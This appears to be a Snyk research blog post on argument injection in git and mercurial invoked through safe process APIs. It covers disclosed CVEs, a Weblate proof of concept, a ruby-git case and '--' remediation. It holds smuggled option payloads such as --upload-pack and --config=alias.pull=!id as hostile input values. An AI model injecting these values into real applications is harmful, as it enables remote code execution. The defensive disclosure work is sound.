Tuesday, 23 August, 2022 UTC


Summary

One of the main goals for this research was to explore how it is possible to execute arbitrary commands even when using a safe API that prevents command injection. The focus will be on Version Control System (VCS) tools like git and hg (mercurial), that, among some of their options, allow the execution of arbitrary commands (under some circumstances). 
The targets for this research are web applications and library projects (written in any programming language) that call these commands using a safe API. We haven’t targeted CLI projects, or projects that call those commands by using data coming from stored sources like configuration files.
In this blog post, we aim to demonstrate common scenarios where, even when using a safe API, it’s possible to execute arbitrary commands through injection argument options. We’ll also provide remediation examples and suggestions for open source maintainers.
Argument injection background
Consider the following scenario: a developer wants to call git or hg commands from their project directory in order to interact with repositories. However, user controlled values are used as parameters to these commands (allowing the users to specify the repository url, the branch name, etc). Since the developer is aware of the command injection vulnerability, they decide to use a safe API to execute shell commands. For example, if the project is in Node.js, the spawn API from child_process module prevents command injection when called the following way:
spawn([“command”, “-option1”, user_input, user_input’)
However, this is not always the case. As we’ll see soon, it also depends also on the command called by these APIs. If you want to know more about what is an argument injection, this Staaldraad article is a great resource.
Why should we care about git?
In some git subcommands, there are options that allow the user to specify which programs/commands will be executed. One example is the --upload-pack option available for the following git sub commands:
  • git ls-remote 
  • git fetch 
  • git pull 
  • git clone 
  • git fetch-pack 
Let’s take, for example, the git fetch, ls-remote and pull subcommands that implement the --upload-pack option.
Depending on the command, they have certain required arguments followed by optional ones. For example git fetch requires at least one argument, i.e a repository, followed by refspec and a set of options.
Running the following commands on a terminal will execute the shell command touch HELLO:
git ls-remote --upload-pack="touch HELLO1" master
git fetch origin --upload-pack="touch HELLO2" // git init first or in a git project
git pull origin --upload-pack="touch HELLO3" // git init first or in a git project

What does vulnerable code look like with “git”?

To demonstrate this vulnerability, I’ll use Javascript and Python. To keep the examples short, let’s assume that the url and branch values are controlled by the user and not properly sanitized.
The following example demonstrates how it’s still possible to run arbitrary code, even when using a safe API that protects against classic command injections:
JavaScript (NodeJS)
const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", url, branch])
cp.spawn("git", ["ls-remote", "& touch NOT_WORKING;", "foo"])
The last line demonstrates that a normal command injection payload (i.e a payload with special characters like ; & | , etc. to chain commands) does not work.
Python
import subprocess
url = "--upload-pack=touch HELLO_PY"
branch = "foo"

subprocess.Popen(["git", "ls-remote", url, branch], shell=False)
It’s important to note that the above scenarios can lead to command execution, if the required arguments for the corresponding git subcommands are provided. For example, if only one argument is provided to the git ls-remote subcommand without other arguments, the previous scenarios will not work:
JavaScript (NodeJS)
const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
cp.spawn("git", ["ls-remote", url])
// fatal: No remote configured to list refs from.
This is because the only argument provided will be interpreted as a repository (in case of git ls-remote). If the command is given another valid argument, we are in the previous case and can still execute code.

Remediation suggestions

A possible solution to previous scenarios would be to add -- before user controlled values. As the official documentation explains, “when writing a script that is expected to handle random user-input, it is a good practice to make it explicit which arguments are which by placing disambiguating — at appropriate places.” 
For example, the following code will no longer lead to command execution:
const cp = require("child_process")
url = "--upload-pack=touch HELLO_JS"
branch = "foo"
cp.spawn("git", ["ls-remote", "--", url, branch])
// fatal: strange pathname '--upload-pack=touch HELLO_JS' blocked
Why should we care about hg (mercurial)?
As we saw in the previous section, some conditions need to be satisfied in order to execute arbitrary commands (i.e required arguments). However, this is not the case for hg  — making exploitation much easier.
Among the several options available, mercurial allows users to specify aliases and hooks for every command (clone, init, log, etc…) by using the –config option.
As the mercurial documentation explains, aliases “allow you to define your own commands in terms of other commands (or aliases), optionally including arguments.  An alias can start with an exclamation point (“!”) to make it a shell alias.  A shell alias is executed with the shell, allowing you to run arbitrary commands, for example:
echo = !echo $@
will let you do "hg echo foo" to have "foo" printed in your terminal.”
Hooks, on the other hand, are “commands or Python functions that get automatically executed by various actions such as starting or finishing a commit.” They are commands that are executed once some conditions are satisfied, and can be executed before (pre-<command>) or after (post-<command>) other mercurial commands.

What does vulnerable code look like while using “hg init”?

Let’s see an example of how it’s possible to execute arbitrary commands when the hg init command is called with unsanitized user inputs. 
Alias example
hg init -config=alias.init="!touch HELLO"
The touch HELLO command will be executed. This is because an alias to the init command is defined and executed instead of the hg init command.
The same command executed from code will look like the following (as before, let’s assume that the source is controlled by the user and not properly sanitized):
JavaScript (NodeJS):
const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python:
import subprocess
source = "--config=alias.init=!touch HELLO_PY"
subprocess.call(["hg", "init", source])
Hooks example
hg init -config=hooks.pre-init="touch HELLO"
The touch HELLO command will be executed before (i.e the pre-<command> options) the command init is executed.
The same command executed from code will look like the following:
JavaScript (NodeJS):
const cp = require("child_process")

source = "--config=hooks.pre-init=touch HELLO_JS"
cp.spawn("hg", ["init", source])
Python:
import subprocess
source = "--config=hooks.pre-init=touch HELLO_PY"
subprocess.call(["hg", "init", source])
Unlike the case of git, in order to execute arbitrary commands, we only need to control one argument provided to mercurial commands — even if it’s the only parameter being used.

Remediation suggestions

Once again, we can address this issue by adding the -- characters before user controlled arguments.
For example, the following exploitation will not work anymore  — it will create a repository folder with name equal to the content of the source variable:
const cp = require("child_process")

source = "--config=alias.init=!touch HELLO_JS"
cp.spawn("hg", ["init", "--", source])
Outcomes
Similar issues  have already been exploited in the past. Some famous examples are the remote code execution attacks on CocoaPods Trunk and Phabricator.
The table below summarizes the issues that we found and disclosed as part of this research:
ProjectVulnerabilityAdvisory/ReferenceCVE
ungitRCEhttps://security.snyk.io/vuln/SNYK-JS-UNGIT-2414099CVE-2022-25766
mozilla/pontoonRCEhttps://discourse.mozilla.org/t/security-fix-repository-url-validation/94362 N/A
GoCD ServerRCEhttps://github.com/gocd/gocd/security/advisories/GHSA-vf5r-r7j2-cf2h CVE-2022-29184
WeblateRCE (x2)https://security.snyk.io/vuln/SNYK-PYTHON-WEBLATE-2414088 CVE-2022-23915
simple-gitCommand Injectionhttps://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-2421199 CVE-2022-24433
ruby-gitCommand Injectionhttps://security.snyk.io/vuln/SNYK-RUBY-GIT-2421270 CVE-2022-25648
cocoapods-downloaderCommand Injectionhttps://security.snyk.io/vuln/SNYK-RUBY-COCOAPODSDOWNLOADER-2414278 CVE-2022-24440
cocoapods-downloaderCommand Injectionhttps://security.snyk.io/vuln/SNYK-RUBY-COCOAPODSDOWNLOADER-2414280 CVE-2022-21223
Masterminds/vcsCommand Injectionhttps://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMMASTERMINDSVCS-2437078 CVE-2022-21235
git-phpCommand Injectionhttps://security.snyk.io/vuln/SNYK-PHP-CZPROJECTGITPHP-2421349 CVE-2022-25866
libvcsCommand Injectionhttps://security.snyk.io/vuln/SNYK-PYTHON-LIBVCS-2421204 CVE-2022-21187
workspace-toolsCommand Injectionhttps://security.snyk.io/vuln/SNYK-JS-WORKSPACETOOLS-2421201 CVE-2022-25865
cookiecutterCommand Injectionhttps://security.snyk.io/vuln/SNYK-PYTHON-COOKIECUTTER-2414281 CVE-2022-24065
hashicorp/go-getterCommand Injectionhttps://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223 CVE-2022-26945
After these vulnerabilities were found, we privately reported them to maintainers, following our Vulnerability Disclosure policy. I want to personally thank all the maintainers I contacted for their time and for their collaboration.
In the following case studies, we’ll explain how it was possible to execute a remote code execution and command injection in these popular projects.
Case study: Remote code execution on Weblate 
Weblate is a “web based localization tool with tight version control integration”. An authenticated user was able to get remote code execution via argument injection.
When adding new translation components and using mercurial repositories, the user input branch is used in the hg pull command without any proper sanitization.
The relevant code responsible for calling the hg pull command with user controlled values is:
# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/mercurial.py#L364-L367
def update_remote(self):
    """Update remote repository."""
    self.execute(["pull", "--branch", self.branch])
    self.clean_revision_cache()
    
# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L230
def execute(
    self,
    args: List[str],
    ...
):
    ...
    try:
        self.last_output = self._popen( # <---
            args, #<--- 
            self.path,
            ...
        )
    ...
    return self.last_output

# https://github.com/WeblateOrg/weblate/blob/0b45970ce1fb978be66ef696ff9983f1752828bc/weblate/vcs/base.py#L191
@classmethod
def _popen(
    cls,
    args: List[str],
    ....
):
    """Execute the command using popen."""
    if args is None:
        raise RepositoryException(0, "Not supported functionality")
    if not fullcmd:
        args = [cls._cmd] + list(args)
    ...
    process = subprocess.run(
        args, # <---
        ...
    )
    ... 
    return process.stdout

Proof of concept

To execute arbitrary commands, the user has to create a New Translation Component in a translation project with Repository branch value equal to --config=alias.pull=!id>/app/cache/static/output_rce1.txt. In this case, the id command will be executed and redirected to a page that will be accessible at http://localhost:8888/static/output_rce1.txt. 
  1. Login into the application.
  2. Add a new translation project and then click Save.
  1. Add a new translation component (to the translation project just created) with the payload --config=alias.pull=!id>/app/cache/static/output_rce1.txt in the Repository Branch field and then click Continue.
  1. The output of the command id will be available at http://localhost:8888/static/output_rce1.txt.

Remediation

As you can see, it was possible to achieve a RCE while also dealing with git repositories. In this case, the unsanitized user input repo was passed to the git ls-remote command.
Both of the issues were promptly fixed by the maintainer in version 4.11.1 (reference to Github Release). The fixes (mercurial and git cases) added the -- characters before the user input in order to prevent it from being interpreted as an argument.
Case study: Command injection in ruby-git
Ruby git is a “library that can be used to create, read and manipulate Git repositories by wrapping system calls to the git binary”.
When calling the fetch(remote = 'origin', opts = {}) function, the remote parameter is passed to the git fetch subcommand without any sanitization. As we have seen before, git fetch is one of the git subcommands that accepts the --upload-pack argument. For more information on --upload-pack, review the git-fetch documentation.
The relevant code responsible for calling the git fetch command with user controlled values is:
# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/base.rb#L339-L341
def fetch(remote = 'origin', opts={})
    self.lib.fetch(remote, opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L879
def fetch(remote, opts)
    arr_opts = [remote]
    arr_opts << opts[:ref] if opts[:ref]
    ...
    command('fetch', arr_opts)  # <---
end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1075
def command(cmd, *opts, &block)
    ...
    with_custom_env_variables do
    command_thread = Thread.new do
        output = run_command(git_cmd, &block) # <---
        exitstatus = $?.exitstatus
    end
    command_thread.join
    end

# https://github.com/ruby-git/ruby-git/blob/521b8e7384cd7ccf3e6c681bd904d1744ac3d70b/lib/git/lib.rb#L1179
def run_command(git_cmd, &block)
    return IO.popen(git_cmd, &block) if block_given? # <---
    `#{git_cmd}`.lines.map { |l| Git::EncodingUtils.normalize_encoding(l) }.join
end

Proof of concept

The following PoC demonstrate how it was possible to execute arbitrary commands:
require "git"

g = Git.init('project')

origin = "--upload-pack=touch ./HELLO1;"
g.fetch(origin, {:ref => 'some/ref/head'} )

# ls -la

Remediation

The issue was fixed by the maintainers in version 1.11.0 (GitHub release). Like in the previous issue, the fix introduced the -- characters before user controlled values.
Takeaways … for developers 
When calling commands using a safe API — that prevents command injection and accepts user controlled values — it’s important to make sure that user provided values do not change the behaviors of the command by injecting/manipulating some of the command options. To avoid such confusion, the -- characters can be used to separate arguments from user controlled values.
… for maintainers
If a function/API wrap calls to a commands accepting user controlled values, the behavior  could be worth documenting to avoid confusing users that see the maintainer handling some sanitization issues (like preventing command injection by using a safe API) but not others (like when the input can be used as a dangerous option leading to unexpected behavior). 
… for security researchers
We focused our attention on git and hg commands, but there are many others that act similarly. It’s worth mentioning that even using safe APIs that prevent command injection can still lead to security issues. It all depends on the commands being executed. If you find similar issues (or any other security vulnerability) in an open source project supported by our program, please report it using the Snyk Vulnerability Disclosure form.
Prevent argument injection with Snyk
Create a free Snyk account to find and fix all your vulnerabilities — no matter the type.
Sign up for free
References:
  • Argument injection and getting past shellwords.escape
  • Remote Code execution on CocoaPods Trunk
  • Remote Code execution on Phabricator 
  • Mercurial Hooks
  • Mercurial Aliases